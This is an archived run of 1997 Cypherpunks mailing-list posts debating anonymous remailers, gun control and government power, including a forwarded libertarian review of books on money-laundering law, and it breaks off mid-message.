I basically think well of the Netherlands and its people, but it is
important to recognize that certain unpleasant characteristics exist
in a large portion of the population of even a nice country.  It is
unlucky to pretend that these characteristics can never be expressed.

Let's turn to the Western Hemisphere: El Salvador.  During much of the
1980s, the U.S. government supported groups of people in El Salvador
who were sending out death squads to murder their suspected opponents.
The U.S. certainly acquiesced in this activity - of this there is no
doubt.  But, it is not unlikely the U.S. was more directly involved.
(Only fifteen years earlier the U.S. was doing the same thing in
Vietnam.)

What would have happened if the citizens of El Salvador were
adequately armed?  One thing you wouldn't see is a death squad going
into a neighborhood to kick down some innocent's door and murder him
or his family.  At least, you wouldn't see it twice.

Likewise, when the communist guerrillas were forcing (maybe) the
peasantry to support them, the peasants would have no need to
cooperate unwillingly if they were well armed.

People who are well armed are less likely to become pawns, victims, or
slaves.  That is desirable.

Incidentally, the consistent support the U.S. government has shown for
murderous or even genocidal governments is of great concern to those
of us who live in the U.S.  It is unlikely that these tactics won't be
used here were there a serious political struggle and a disarmed
population.

An issue that might possibly blossom into such a political struggle is
mass surveillance.  While the mass media is, for the most part, giving
everything the government's spin, and while large numbers of
Congressmen and other denizens of Washington, D.C. think it's a good
idea, the bulk of the population is not happy about this at all.  They
can read the writing on the wall.  The potential for conflict between
the political class, which has a long history of murder and even
assassination, and the American people exists right now.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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M1bZCWTA6TlBBJoqbugt4gqvhAT0/yH6kJdLjDdYlKsEUVM3nfctfQ==
=STNd
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 2 Oct 1997 00:17:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Remailers and ecash
In-Reply-To: <46ee864da2b5a3279142ba5c3ce1deea@anon.efga.org>
Message-ID: <Pine.BSF.3.96.971001175133.1435A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 1 Oct 1997, Anonymous wrote:

> 
> Using a remailer doesn't hide the fact that the sender is using a
> remailer.  An eavesdropper who monitors incoming messages to the
> remailers can easily learn who is using them.  A constant bandwidth
> connection will at least disguise *when* the messages are sent.

Using a constant bandwidth connection just to the remailer network is a
waste. Better set up such a connection to a Pipe-net or Onion Router
network. The you can use the pipe for other services then mail. A welcome
side benefit would be that this conceals the use of "mail" remailers

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 2 Oct 1997 06:56:27 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <eb6f47561126f123b4ba49b1b33464e3@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




How good will it be to have total conformity?
What will be left of singularity?
And personality?
And you and me?


CM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0122.myriad.ml.org (Matthew Ghio)
Date: Thu, 2 Oct 1997 06:45:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash (fwd)
In-Reply-To: <199709300125.UAA14206@einstein.ssz.com>
Message-ID: <199710012227.SAA17395@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

> What would motivate an average consumer to use an anonymous remailer?
> 
> Clearly simple anonymity or writing nasty letters to Grandma anonymously are
> not going to motivate most folks irrespective of cost - they simply have no
> interest in such activities. So, the question becomes:
> 
> What besides raising hell anonymously, laundering money, and defeating
> merchant purchase traffic analysis are commercial anonymous remailers good
> for?

Okay, let's take a look at what remailers are actually being used for.
Go to dejanews and type in the addresses of all the remailers you know of,
count the number of posts to each newsgroup and add them up.  Here are the
top twenty newsgroups that I got when I did this little experiment:

  10471	alt.anonymous.messages
   7272	alt.test
   6236	alt.hackintosh
   4392	alt.binaries.mac.games
   1326	misc.test
   1253	alt.religion.scientology
   1109	alt.sex.stories
   1023	soc.culture.singapore
    915	alt.amazon-women.admirers
    877	soc.culture.iranian
    770	alt.anonymous
    622	fj.news.usage
    573	alt.politics.nationalism.white
    571	alt.sex.spanking
    557	talk.politics.guns
    543	alt.tv.real-world
    518	alt.cracks
    517	alt.drugs.pot.cultivation
    512	alt.privacy.anon-server
    498	alt.revisionism


So what are remailers being used for?

 1) Private communication in the form of anonymous message pools
 2) Test posts
 3) Discussion of Macintosh computers
 4) Discussion of obscure religions
 5) Sharing erotic fantasy stories
 6) Avoiding censorship in Singapore
 7) Avoiding censorship in Iran
 8) Discussion of remailers themselves
 9) Discussion of controvertial political topics (racism, guns, drugs)
10) Discussion about a TV show


Note that this list does not include harassing Grandma, money laundering,
and all your other delusional terrorist fantasies.  Welcome to the real
world.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 2 Oct 1997 06:53:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <51a02138f43e8a0225034edf2603b563@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Cynthia Brown wrote:
>On Wed, 1 Oct 1997, Alex Le Heux wrote:
>> This sucks.
>
>I agree wholeheartedly.

>IMNSHO the best way to fight crime is not with bigger guns than the
>"bad guys", but with better social programs such as universal health
>care, and improved day care so single parents can show their kids
>what a productive lifestyle looks like.

Of course you agree wholeheartedly, you are an exploiter.  It is
wrong.  You should be ashamed of yourself.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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=VYI9
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 2 Oct 1997 09:43:36 +0800
To: cypherpunks@Algebra.COM
Subject: money laundering book review
Message-ID: <199710020135.SAA03140@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



some new books that might be of interest to some cpunks


------- Forwarded Message

Date:         Wed, 1 Oct 1997 11:59:12 -0400
From: Kris Millegan  RoadsEnd <RoadsEnd@AOL.COM>
Subject:      Fwd:  piml] Free Life Commentary - The New World Order
To: CTRL@LISTSERV.AOL.COM

- ---------------------
Forwarded message:
From:   ke4yqz@mindspring.com (Roger Cravens)
To:     c-news@world.std.com, piml@mars.galstar.com
Date: 97-09-30 16:54:38 EDT

>From: "Chris R. Tame" <Chris@rand.demon.co.uk>
>Date: Mon, 29 Sep 1997 19:45:58 +0100
>Subject: Free Life Commentary - The New World Order
>To: libnw@circuit.com (Multiple recipients of Liberty_NW)
>
>I hope the third issue of my colleague Sean's Free Life Commentary will
>prove of interest.
>
>Chris R. Tame
>Director
>Libertarian Alliance
>
>  ------- Forwarded message follows -------
>
>Free Life Commentary
>Editor:  Sean Gabb
>Issue Number Three
>29th September 1997
>
>==========================
>"Over himself, over his own mind and body,
>the individual is sovereign"
>(J.S. Mill, On Liberty, 1859)
>==========================
>
>Free Life Commentary is an independent journal of comment,
>published on the Internet.  To recieve regular issues, send
>e-mail to Sean Gabb at old.whig@virgin.net
>
>Issues are archived at http://freespace.virgin.net/old.whig/
>
>Contact Address:  25 Chapter Chambers, Esterbrooke Street,
>London, SW1P 4NN; Telephone:  0181 858 0841
>
>==========================
>
>               On the New World Order:
>                  Two Book Reviews
>                    by Sean Gabb
>
>
>
>  International Efforts to Combat Money Laundering
>              William C. Gilmore (ed.)
>           Grotius Publications Limited,
>          Cambridge, 1992, 335pp, 48 (pbk)
>                (ISBN 0 521 46305 X)
>
>   Money Laundering:  A Practical Guide to the New
>Legislation
>     Rowan Bosworth-Davies and Graham Saltmarsh
>           Chapman & Hall, London, 1994,
>             xii and 304pp, 49.50 (hbk)
>                (ISBN 0 412 57530 2)
>
>
>The first of these books is a collection of treaties, plus other
>documents, concerned with the international fight against
>money laundering.  The second explains how these treaties
>have been enacted into, and are enforced under, the laws of
>the United Kingdom.  Both works will repay the closest
>study.  In clear detail, they show the growth of what must
>be called a New World Order, and how, without some
>interposing cause, this may produce a universal slide into
>despotism.
>
>The fight against money laundering begins with realising
>that the "War on Drugs" has been lost.  When goods are
>portable and easily concealed, and when demand for them is
>strong enough to bear almost any cost of bringing them to
>market, the main effect of prohibition will be to put a
>bounty on crime.  For all the efforts of the past three
>generations, illegal drugs are available in most high security
>prisons.  In much of the West, street prices have been
>stable or even falling since 1980.
>
>The official response, however, has not been to give in and
>legalise the trade, but to expand the War to a front where
>previously there had been few hostilities.  While keeping up
>their efforts against the trade itself, the authorities have
>turned increasingly to confiscating its proceeds.  This new
>approach has three alleged benefits:
>
>First, it will deprive criminals of their incentive to enter
>and remain in the trade;
>
>Second, it will allow the punishing of those in charge of the
>trade - people who never touch or see illegal drugs, but to
>whom the main profits ultimately flow;
>
>Third, it can make the War on Drugs self-supporting, and
>perhaps yield a surplus for other public spending.
>
>There is, however, one practical difficulty.  Before the
>authorities can confiscate the money, they must find it.  To
>do this, they must keep it from being merged beyond recall
>into the general flow of investment.  This involves ending
>bank secrecy and imposing a mass of financial regulation.
>Now, most people - especially the rich - dislike having their
>lives pried into.  Nor do banks like higher costs and
>limitations on what business they can do.  And so, given
>the present freedom of capital markets, no government
>acting alone can afford a strict policy of confiscation.  It
>would, sooner or later, cause a flight of transactions to
>more liberal places.
>
>The solution has been to try making everywhere in the
>world equally illiberal.  Such  was the purpose of the
>United Nations Convention Against Illicit Traffic in
>Narcotic Drugs and Narcotic Substances, signed in Vienna
>in December 1988 [full text in Gilmore, pp.75-97].  This is
>one of the most important international treaties of the past
>50 years.  It not merely requires its signatory states to
>criminalise the laundering of drug money, and to confiscate
>it where found, but lays down so far as possible a common
>wording for the criminal statutes, and a common mode of
>enforcement.  It also requires full and prompt cooperation
>between the signatory states for the enforcement of these
>laws anywhere in the world.
>
>The Convention had little direct or immediate effect on
>British law.  Many of its requirements, indeed, had already
>been met in the Drug Trafficking Offences Act 1986.  Most
>others were only met in the Criminal Justice Act 1993,
>which enacts the European Community Directive of 1991
>on the Prevention of the Use of the Financial System for the
>Purpose of Money Laundering [full text in Gilmore,
>pp.250-67].  This itself derives from the Vienna Convention
>only through the Council of Europe Convention on
>Laundering, Search, Seizure and Confiscation of the
>Proceeds from Crime 1990 [full text in Gilmore, pp.177-
>91].  Even so, this country is fast becoming a financial
>police state of the kind agreed at Vienna - and where the
>process cannot be traced to the Convention, it can be traced
>to the same international pressures of which the Convention
>is itself a result.
>
>Let me explain.  When I talk about a New World Order, I
>do not mean some grand conspiracy of bankers, or Jews, or
>Illuminati, or even - with far more probability - the
>American Government.  There are countries where policy is
>largely dictated from outside.  But for rich and powerful
>countries, the truth is more complex.  Most international
>obligations imposed on this country, for example, were not
>only consented to by our rulers, but were usually proposed
>by them, and are enforced by agencies in which our own
>countrymen often occupy senior positions.
>
>Where others see conspiracies, I see public choice
>economics.  Whenever a government tries to do something
>dangerous or unnecessary, like banning drugs or educating
>the poor, it must set up an agency through which to spend
>the allocated funds.  Once employed, the agents will - as if
>directed by an invisible hand - start to find more and more
>justifications for expanding their status and numbers.  They
>collect the statistics.  They know which ones to publish and
>which to hold back.  They are the politicians' first and
>favoured source of advice.  They have their pet journalists.
>They trade favours with the relevant interest groups.  They
>know exactly how to give themselves a pleasing life, and
>how to see off threats to it.  Unless the money runs out, or
>the public turns really nasty, they can write their own
>budget cheques.
>
>By natural extension, the same is now happening at the
>international level - though with potentially far worse
>consequences.  In the first place, there is limitless money:
>budgets would need to swell unimaginably large to reach
>even one per cent of gross planetary product.  In the
>second, public anger seldom crosses borders; and, if all else
>fails, the politicians and bureaucrats in one country can
>shelter behind the excuse of treaty obligations that cannot be
>unilaterally be cast off - not, at least, without consequences
>more horrible than words exist to describe.  Third, the
>enforcement of international treaties means the growth of
>what is in effect an international bureaucracy.  The local
>enforcers of a treaty may be citizens of the signatory states,
>who will live and work in their home countries, and may
>even occupy positions in the domestic administration.  Yet
>these are people who, by virtue of the agreements they
>enforce, and the contacts they make and maintain in other
>countries, are members of an international order.  And, in
>at least the case of money laundering, they will share an
>agenda that is often deeply hostile to their native
>institutions.
>
>This can be seen - expressed with almost naive honesty - in
>the book by Messrs Bosworth-Davies and Saltmarsh.  Both
>are British police officers:  the latter is a departmental head
>at the National Criminal Intelligence Service.  Both take it
>for granted that the world needs an international police
>force.  Both are unable to believe that anyone can
>disinterestedly object to the necessary harmonisations of
>law, and the corresponding abolition of Common Law
>protections.  They "know one senior clearing banker who
>has described this [money laundering] legislation as the
>nearest thing he has experienced to
>'McCarthyism'...".[p.172]  Of course, they see things
>differently.  The legislation
>
>    discloses, on mature reflection, a set of carefully
>    structured laws which, with good will, due
>    diligence and a modicum of responsible attention
>    from the industry as a whole, should not prove
>    too burdensome.  Indeed, the authors believe that
>    some of the regulatory requirements have been
>    diluted too much already, in a misguided attempt
>    to placate the sensibilities of certain sectors of the
>    industry....[Ibid.]
>
>With people like this advising the politicians and lecturing
>the rest of us, little wonder the Drug Trafficking Offences
>Act predates the Vienna Convention by two years!  Though
>they will hotly disagree - and even perhaps consider a libel
>writ - Messrs Bosworth-Davies and Saltmarsh cannot be
>regarded as our countrymen.  More at home in a gathering
>of Bulgarian or Filipino police chiefs than with any of us,
>they are foreigners with British passports.
>
>Somewhat less honest, though still interesting, is the
>Explanatory Report of the Committee of Experts who
>drafted the Council of Europe Convention [full text in
>Gilmore, pp.192-237].  Though formally subordinate to a
>committee of the various European Ministers of Justice,
>these experts plainly saw their first duty as lying elsewhere.
>Call it "the international community" or their own order,
>their duty was collective and not to any single country.
>
>Look at their dislike of the narrow focus of the Vienna
>Convention.  They wanted something that would also allow
>confiscation for
>
>    terrorist offences, organised crime, violent crimes,
>    offences involving the sexual exploitation of
>    children and young persons, extortion,
>    kidnapping, environmental offences, economic
>    fraud, insider trading and other serious offences.
>    [Gilmore, p.204]
>
>But they had to concede that not every European country
>might like its own laws against these acts to be written by
>an international committee.  And so they allowed each
>signatory state to reserve whatever of these acts to its own
>legislative process.
>
>    The experts agreed, however, that such states
>    should review their legislation periodically and
>    expand the applicability of confiscation measures,
>    in order to be able to restrict the reservations
>    subsequently as much as possible. [Ibid.]
>
>And this is only the beginning.  As yet, the shape of world
>government exists barely in outline.  But the tendency ought
>to be plain.  Power is moving from national - and mostly
>democratic - governments to unaccountable and even
>invisible bureaucracies.  Liberal institutions that are often
>the work of ages are being hammered into the transmitters
>of unlimited power.  We are beginning to known how
>people in the Greek city states felt after absorption into the
>Roman Empire.
>
>When the American militiamen cry out that the United
>Nations is about to invade in black helicopters and plant
>microcomputers in their bottoms, I am at least sceptical.
>This is not the New World Order that I see.  What I do see
>is actually worse.  We can shoot the helicopters down, and
>dig out the microcomputers, and put the ringleaders on
>trial.  We can go about playing the hero of our choice from
>Star Wars.  But in the real world, there is no Death Star to
>blow up - no Darth Vadar to push into the void.  There is
>just a huge, elastic network of people, all acting in what
>they believe is the public good, most with some degree of
>public support.
>
>How this kind of despotism can be resisted is another
>question, and I have said enough already.  But I will repeat
>- the books here reviewed do repay a very close study.  At
>the very least, it is useful to see the enemy's future plan
>laid out in such detail.
>
>Sean Gabb
>
>==========================
>If you like Free Life Commentary, you may also care to
>subscribe to my longer, hard copy journal:
>
>Free Life
>The Libertarian Alliance
>25 Chapter Chambers
>London SW1P 4NN
>
>A 10 Pound subscription buys you four issues.
>
>==========================
>Legal Notice:  Though using the name Free Life, this
>journal is owned by me and not by the Libertarian Alliance,
>which in consequence bears no liability of whatever kind
>for the contents.
>--
>Sean Gabb                               | "Over himself, over his own  |
>E-mail:  old.whig@virgin.net            | mind and body, the individual|
>Web Page:                               | is sovereign"                |
>http://freespace.virgin.net/old.whig/   | J.S. Mill, On Liberty, 1859  |
>
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*   Liberty is NEVER an option ... only a condition to be lost!    *
*   http://www.jbs.org                                             *
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------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 08:05:01 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710020003.TAA22891@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 1 Oct 1997 18:27:10 -0400
> From: ghio@temp0122.myriad.ml.org (Matthew Ghio)
> Subject: Re: Remailers and ecash (fwd)

> Jim Choate wrote:
> 
> > What besides raising hell anonymously, laundering money, and defeating
> > merchant purchase traffic analysis are commercial anonymous remailers good
> > for?
> 
> So what are remailers being used for?

We are talking commercial remailers here right? <see the quote you used
above>. As famous as you are, you don't get to change the rules in the
middle of the game.

>  1) Private communication in the form of anonymous message pools

You don't need anonymous remailers for this since simple crypto will provide
just as good private communications security than anonymous remailers will
because there is no central choke point where traffic analysis occurs . Now
if one of the parties is actualy under surveillance then the anonymous
remailers won't help because they will be tapping at the source, if anything
it would provide further evidence of the parties complicity in a conspiracy.
If you want your communications to stay private (if I understand your use of
the word) use encryption and use underground remailers which isn't open to
commercial exploitation, or else simply purchase a different account on your
current ISP.

>  2) Test posts

Irrelevant, people don't pay for test posts enough to keep a commercial
remailer in business - unless we vastly increase the total traffic level by
quite a few orders of magnitude. 

>  3) Discussion of Macintosh computers

irrelevant, people won't pay for this either.

>  4) Discussion of obscure religions

irrelevant (and I'm a Pantheist, they don't get more obscure than that)
since people ain't gonna pay for this unless they are persecuted in their
country of residence. If so the easiest thing to do would be to outlaw
anonymous remailers (with the same logic they use to oppress the religion).
[see #6 for more details on this]

>  5) Sharing erotic fantasy stories

And you suspect they will actualy pay for this? This line of reasoning I
would love to hear more on...

>  6) Avoiding censorship in Singapore

Let's look at this a moment. I believe we can take as a given that Singapore
is a oppressive regime. Furthermore all traffic in Singapore goes through
government operated and regulated POP's. In that environment you really want
to send traffic to an anonymous remailer? Can you say 'man-in-the-middle',
and not only that but all the outgoing traffic from Singapore won't be
through an anonymous remailers making it trivial for Singapore officials to
determine exactly who to go hassle. So it is clear that the only parties
discussing Singapore safely will be outside Singapore which makes the
supposition that Singapore is going to come after you a bit suspect.
You're talking about a country that outlaws private satellite dishes - get
real. Furthermore commercial enterprises are open to much closer scrutiny in
areas like Singapore making it even harder to stay in business unless the
operator happens to be a government stooly, hardly the stuff of security.

My thesis would be that any remailer (commercial or not) in a country with
an oppresive regime is the last place you want to consider secure.

>  7) Avoiding censorship in Iran

See #6. Applies to China, Korea, Iraq, etc.

>  8) Discussion of remailers themselves

I would also like to see your explanation of exactly why they would pay for
this.

>  9) Discussion of controvertial political topics (racism, guns, drugs)

The only reason that anonymous remailers are useful here is that the
originating party doesn't want to deal with the results of being known.
The flip side to this is that the reputation of anonymous discussions in
these sorts of areas would have little political impact. A person who won't
discuss such issues under their own name certainly won't go out and become
actively involved in some political movement. Now if your claim is that such
activity might hold some weight with an elected official I would appreciate
an explanation as well - especialy considering that the anonymity provides
just enough 'cover' so that the politician can safely ignore any and all
traffic made through this mechanism, "They aren't one of my constituents."
If you have some reasoning outside this please share it.

> 10) Discussion about a TV show

Irrelevant because people won't pay for this.

Free remailers are useful for all sorts of mental masturbation, for actual
business there doesn't seem to be a lot of uses.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@yourchoice.nl (Alex Le Heux)
Date: Thu, 2 Oct 1997 01:41:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <Mutt.19971001191622.alexlh@sarah.yc>
MIME-Version: 1.0
Content-Type: text/plain



In article <34302d8d.8163438@newshost.cyberramp.net> you wrote:

[lots of ranting deleted]

: Banning guns because criminals might use them equates to banning
: encryption because criminals might use it.  And if you really believe
: that both should be banned, then perhaps you should be banned from
: using oxygen, because criminals breath it too.

You people just don't get it do you? A gun has one purpose: To kill. Just like
any other tool, a gun, if it is available _will_ be used at some point.

So making sure there are lots of guns around only serves to make a lot of
people very dead. This is a Bad Thing.

Gun control laws are not the issue. It's a matter of mentality. In Europe,
where we have rather strict guncontrol laws, and have had them for a long
time a decent human being will not even think of shooting someone else. In the
US, where guns are tradition and part of the American way, many people would
not think twice before shooting someone. The result of this is that the
number of people getting killed by guns is enourmous, be they criminals,
little kids, old grannies, or presidents.

This sucks.

We are not trying to export our stupidity, we're just trying to explain to
you how we live. We live in a place where we don't even have to think about
getting a gun, because the chances of us encountering a gun in the hands
of an adversary are negligible.

Wake up and smell the coffee, dude. If you have lots of guns around, you're
gonna end up with lots of people getting shot.

Alex

--- 
/// I dabble in techno-house and sometimes,
/// I do that badass hip-hop thang...
/// But the F U N K gets me every time!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 08:24:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "Show me an example of terrorists using the Internet or crypto" (fwd)
Message-ID: <199710020034.TAA23126@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 1 Oct 1997 19:16:22 +0100
> From: alexlh@yourchoice.nl (Alex Le Heux)
> Subject: Re: "Show me an example of terrorists using the Internet or crypto"

> You people just don't get it do you? A gun has one purpose: To kill. Just like
> any other tool, a gun, if it is available _will_ be used at some point.

Actualy I have never killed anything with my current .22, but a lot of tin
cans and paper targets have been holed. And, no, I would NEVER consider a
.22 anything close to a self-defence weapon since even a head shot doesn't
guarantee anything other than pissing the target off. I might use it as a
club but it is not nearly that stout, I'd go for my shovel or hoe or maybe
my nunchakus (assuming they didn't have a gun -which most burglars and such
don't have).

> So making sure there are lots of guns around only serves to make a lot of
> people very dead. This is a Bad Thing.

Actualy it cuts down on crime because the criminal is afraid they might get
shot. A perfect example of this is Florida or Texas where the vast majority
of people have guns. If you catch a burglar in your house or car do they
run? No. Why? In the vast majority of cases the perp states that they were
afraid of being shot - in effect saving both lives. I can say this, I would
never consider staying in a place for very long that prevented me from
owning a gun legaly. Well, actualy there is one way, guarantee that I get my
own personal police officer to go around with me (and they should be armed).
Here in Texas we have a law that permits the owner of property to kill
without warning any party stealing their property after dark. It's amazing
that the vast majority of burglaries and such happen during the day.

It's further interesting that in both Texas and Florida after legalizing
handguns the number of robberies and such went down, as well as the number
of violent crimes using guns. The only thing that went up was domestic
violence where one spouse killed another in a fit of rage. Had the gun not
been there they would have gone back to knives and frying pans which used to
be the weapon of choice. Are you proposing that we outlaw knives and frying
pans as well?

> Gun control laws are not the issue. It's a matter of mentality. In Europe,
> where we have rather strict guncontrol laws, and have had them for a long
> time a decent human being will not even think of shooting someone else.

Not mentality, maturity. I am shure they think about it all the time, they
just can't find an underground gun dealer.

Yeah, they not only blow up the individual target but a couple of dozen other
bystanders in the process. If it's so damn safe how come the cops over there
all carry machine pistols and such. Something you never see here in the
states even during a bank robbery.

> In the
> US, where guns are tradition and part of the American way, many people would
> not think twice before shooting someone. The result of this is that the
> number of people getting killed by guns is enourmous, be they criminals,
> little kids, old grannies, or presidents.

First, not that many little kids are killed by guns. Most die many other
ways much more horrible. Two presidents and if Illinois is any show the
Grandma's can take care of themselves. Secondly, in this country more people
are killed each year by hands, feet, and clubs than guns. Thirdly, the vast
majority of gun owners would no more shoot somebody without thinking than
they would run over them in their car. Beside, it takes a moment of
reflection to get the sites lined up. 

> We are not trying to export our stupidity, we're just trying to explain to
> you how we live. We live in a place where we don't even have to think about
> getting a gun, because the chances of us encountering a gun in the hands
> of an adversary are negligible.

You have accepted your over-bearing invasive jackbooted police with a
equinimaty that would never occur here - we'd shoot the SOB's. Sounds like
when it comes to sheeple the US has a long way to go when compared to Europe.

> Wake up and smell the coffee, dude. If you have lots of guns around, you're
> gonna end up with lots of people getting shot.

And if some of those aren't shot we'd have a lot of people running around
with other peoples property against their will. Shooting a person is in and
of itself not bad, if you believe it is then I take it you support disarming
the police and military as well.

Do you support capital punishment?

Apparently it's you and your ilk that haven't gotten the clue:

It isn't that a gun was used but under what circumstances.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 08:44:33 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710020038.TAA23185@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Remailers and ecash
> Date: Wed, 1 Oct 97 19:56:26 -0400
> From: "Brian B. Riley" <brianbr@together.net>

>  No, but I see that someone with a fulltime connection or even a
> fulltime machine with an hourly or half hourly dialup would setup a
> program to send randomly generated "Null:" messages to the randomly
> selected remailers so that when he does have something to send that is
> meaningful it will not change the apparent flow ...

And why does this by any security when it's the header info and contents
that Mallet looks at, not the frequency. The only thing such approaches do
is impliment security by obscurity, and that ain't security.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 08:44:37 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "Show me an example of terrorists using the Internet or crypto" (fwd)
Message-ID: <199710020047.TAA23239@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 1 Oct 1997 16:20:11 -0400 (EDT)
> From: Cynthia Brown <cynthb@sonetis.com>
> Subject: Re: "Show me an example of terrorists using the Internet or crypto"

> I agree wholeheartedly.  Uncontrolled guns do not solve problems, they 
> create them.  If most households have at least one firearm, it makes it 
> that much easier for a criminal to obtain one by stealing yours while you 
> are at work.

Most households in the US do have firearms, most criminals don't steal guns
they buy them from the underground. If they do steal them they sell them
pretty quickly afterward. Very few gun crimes in the US are committed with
stolen guns, or guns stolen by the possessor at the time of the shooting.

> Canada may be regulated to death according to most libertarians, but I for
> one like it that way.  I can walk alone and unarmed at night in Ottawa,
> Toronto, etc. without fearing for my life.  Can a female resident of
> Washington or New York say the same?  Our schools do not have metal detectors
> at the entrances because they are not needed. 

Bullshit, they have muggings and such there just like everywhere else. Are
you seriously claiming that sort of stuff doesn't happen? The schools here
in Austin don't either. Most schools in the US don't have this sort of
stuff. 

> IMNSHO the best way to fight crime is not with bigger guns than the "bad
> guys", but with better social programs such as universal health care, and
> improved day care so single parents can show their kids what a productive
> lifestyle looks like.  This takes longer than blowing the brains out of some
> teenager that feels his only path to a better life is through crime, and it
> doesn't give the same adrenalin rush.  However, it works at the source of
> crime, and not the consequences. 

The way to fight crime is to stop putting 1st time offenders, drug offenses,
non-violent crimes, etc. in jails AND to make consensual crimes non-crimes
like they ethicaly should be. We have over a million people in jail in the
US, more than any other country, the vast majority of whom shouldn't be in
jail because what they did shouldn't be a crime.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 2 Oct 1997 08:23:31 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: Remailers and ecash
Message-ID: <199710012356.TAA03115@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/1/97 5:03 AM, Robert A. Costner (pooh@efga.org)  passed this
wisdom:

>At 09:59 AM 10/1/97 +0200, Anonymous (Monty Cantsin) wrote:
